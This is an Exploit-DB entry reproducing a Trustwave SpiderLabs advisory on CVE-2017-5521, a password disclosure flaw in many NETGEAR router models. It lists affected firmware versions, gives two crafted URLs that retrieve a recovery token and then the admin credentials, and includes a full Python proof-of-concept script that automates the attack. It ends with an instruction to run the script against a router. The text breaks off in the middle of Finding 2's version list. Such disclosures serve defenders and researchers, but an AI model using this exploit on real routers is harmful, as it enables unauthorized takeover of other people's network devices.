Exploit-DB #41205
Description: Netgear Routers - Password Disclosure
Type: webapps
Platform: hardware
Date: 2017-01-30
Author: Trustwave's SpiderLabs

Exploit:
Trustwave SpiderLabs Security Advisory TWSL2017-003:
Multiple Vulnerabilities in NETGEAR Routers

Published: 01/30/2017 
Version: 1.0

Vendor: NETGEAR (http://www.netgear.com/)
Product: Multiple products

Finding 1: Remote and Local Password Disclosure
Credit: Simon Kenin of Trustwave SpiderLabs
CVE: CVE-2017-5521

Version affected: 
 
# AC1450 V1.0.0.34_10.0.16 (Latest)
# AC1450 V1.0.0.22_1.0.10
# AC1450 V1.0.0.14_1.0.6
# D6400 V1.0.0.44_1.0.44 (V1.0.0.52_1.0.52 and above not affected)
# D6400 V1.0.0.34_1.3.34
# D6400 V1.0.0.38_1.1.38
# D6400 V1.0.0.22_1.0.22
# DC112A V1.0.0.30_1.0.60 (Latest)
# DGN2200v4 V1.0.0.24_5.0.8 (V1.0.0.66_1.0.66 is latest and is not affected)
# JNDR3000 V1.0.0.18_1.0.16 (Latest)
# R6200 V1.0.1.48_1.0.37 (V1.0.1.52_1.0.41 and above are not affected)
# R6200v2 V1.0.1.20_1.0.18 (V1.0.3.10_10.1.10 is latest and is not affected)
# R6250 V1.0.1.84_1.0.78 (V1.0.4.2_10.1.10 is latest and is not affected)
# R6300	V1.0.2.78_1.0.58 (Latest)
# R6300v2 V1.0.4.2_10.0.74 (V1.0.4.6_10.0.76 is latest and is patched)
# R6300v2 V1.0.3.30_10.0.73
# R6700 V1.0.1.14_10.0.29 (Latest beta)
# R6700 V1.0.0.26_10.0.26 (Latest stable)
# R6700 V1.0.0.24_10.0.18
# R6900 V1.0.0.4_1.0.10 (Latest)
# R7000 V1.0.6.28_1.1.83 (V1.0.7.2_1.1.93 is latest and is patched)
# R8300 V1.0.2.48_1.0.52
# R8500 V1.0.2.30_1.0.43 (V1.0.2.64_1.0.62 and above is patched)
# R8500 V1.0.2.26_1.0.41
# R8500 V1.0.0.56_1.0.28
# R8500 V1.0.0.20_1.0.11
# VEGN2610 V1.0.0.35_1.0.35 (Latest)
# VEGN2610 V1.0.0.29_1.0.29
# VEGN2610 V1.0.0.27_1.0.27
# WNDR3400v2 V1.0.0.16_1.0.34 (V1.0.0.52_1.0.81 is latest and is not affected)
# WNDR3400v3 V1.0.0.22_1.0.29 (V1.0.1.2_1.0.51 is latest and is not affected)
# WNDR3700v3 V1.0.0.38_1.0.31 (Latest)
# WNDR4000 V1.0.2.4_9.1.86 (Latest)
# WNDR4500 V1.0.1.40_1.0.68 (Latest)
# WNDR4500v2 V1.0.0.60_1.0.38 (Latest)
# WNDR4500v2 V1.0.0.42_1.0.25
# WGR614v10 V1.0.2.60_60.0.85NA (Latest)
# WGR614v10 V1.0.2.58_60.0.84NA
# WGR614v10 V1.0.2.54_60.0.82NA
# WN3100RP V1.0.0.14_1.0.19 (Latest)
# WN3100RP V1.0.0.6_1.0.12

# Lenovo R3220 V1.0.0.16_1.0.16 (Latest)
# Lenovo R3220 V1.0.0.13_1.0.13


Product description:
Multiple Netgear Routers

Many Netgear routers are prone to password disclosure via simple crafted 
requests to the web management server. The bug is exploitable remotely if the 
remote management option is set and can also be exploited given access to the 
router over LAN or WLAN.

When trying to access the web panel a user is asked to authenticate, if the 
authentication is cancelled and password recovery is not enabled, the user is 
redirected to a page which exposes a password recovery token. If a user 
supplies the correct token to the page 
http://router/passwordrecovered.cgi?id=TOKEN (and password recovery is not 
enabled), they will receive the admin password for the router. 

If password recovery is set the exploit will fail, as it will ask the user for the recovery 
questions which were previously set when enabling the feature, this is 
persistent, even after disabling the recovery option the exploit will fail, 
because the router will ask for the security questions.
This can easily be reproduced using the attached poc, or by sending these two 
simple requests via the browser:
1. http://router/.../ will redirect you to http://router/..../unauth.cgi?id=TOKEN to acquire the token
2. http://router/passwordrecovered.cgi?id=TOKEN will give you credentials (some models require you to send a post request instead of get)

## netgore.py
import sys
import requests


def scrape(text, start_trig, end_trig):
    if text.find(start_trig) != -1:
	return text.split(start_trig, 1)[-1].split(end_trig, 1)[0]
    else:
        return "i_dont_speak_english"
#disable nasty insecure ssl warning
requests.packages.urllib3.disable_warnings()
#1st stage - get token
ip = sys.argv[1]
port = sys.argv[2]
url = 'http://' + ip + ':' + port + '/'
try:
	r = requests.get(url)
except:
	url = 'https://' + ip + ':' + port + '/'
	r = requests.get(url, verify=False)
model = r.headers.get('WWW-Authenticate')
if model is not None:
	print "Attcking: " + model[13:-1]
else:
	print "not a netgear router"
	sys.exit(0)
token = scrape(r.text, 'unauth.cgi?id=', '\"')
if token == 'i_dont_speak_english':
	print "not vulnerable"
	sys.exit(0)
print "token found: " + token
#2nd stage - pass the token - get the password
url = url + 'passwordrecovered.cgi?id=' + token
r = requests.post(url, verify=False)
#profit
if r.text.find('left\">') != -1:
	username = (repr(scrape(r.text, 'Router Admin Username</td>', '</td>')))
	username = scrape(username, '>', '\'')
	password = (repr(scrape(r.text, 'Router Admin Password</td>', '</td>')))
	[CREDENTIAL_REDACTED](password, '>', '\'')
	if username == "i_dont_speak_english":
		username = (scrape(r.text[r.text.find('left\">'):-1], 'left\">', '</td>'))
		password = (scrape(r.text[r.text.rfind('left\">'):-1], 'left\">', '</td>'))
else:
	print "not vulnerable becuse password recovery IS set"
	sys.exit(0)
#html encoding pops out of nowhere, lets replace that
[CREDENTIAL_REDACTED].replace("&#35;","#")
[CREDENTIAL_REDACTED].replace("&","&")
print "user: " + username
print "pass: " + password

================================
Just run the PoC against a router to get the credentials if it is vulnerable.



Finding 2: Remote and Local Password Disclosure
Credit: Simon Kenin of Trustwave SpiderLabs
CVE: CVE-2017-5521

Version affected:  

# AC1450 V1.0.0.34_10.0.16 (Latest)
# AC1450 V1.0.0.22_1.0.10
# AC1450 V1.0.0.14_1.0.6
# D6300 V1.0.0.96_1.1.96 (Latest)
# D6300B V1.0.0.36_1.0.36
# D6300B V1.0.0.32_1.0.32
# D6400 V1.0.0.44_1.0.44 (V1.0.0.52_1.0.52 is latest and is patched)
# D6400 V1.0.0.22_1.0.22
# DC112A V1.0.0.30_1.0.60 (Latest)
# DGN2200v4 V1.0.0.76_1.0.76 (Latest)
# DGN2200v4 V1.0.0.66_1.0.66
# DGN2200Bv4 V1.0.0.68_1.0.68 (Latest)
# JNDR3000 V1.0.0.18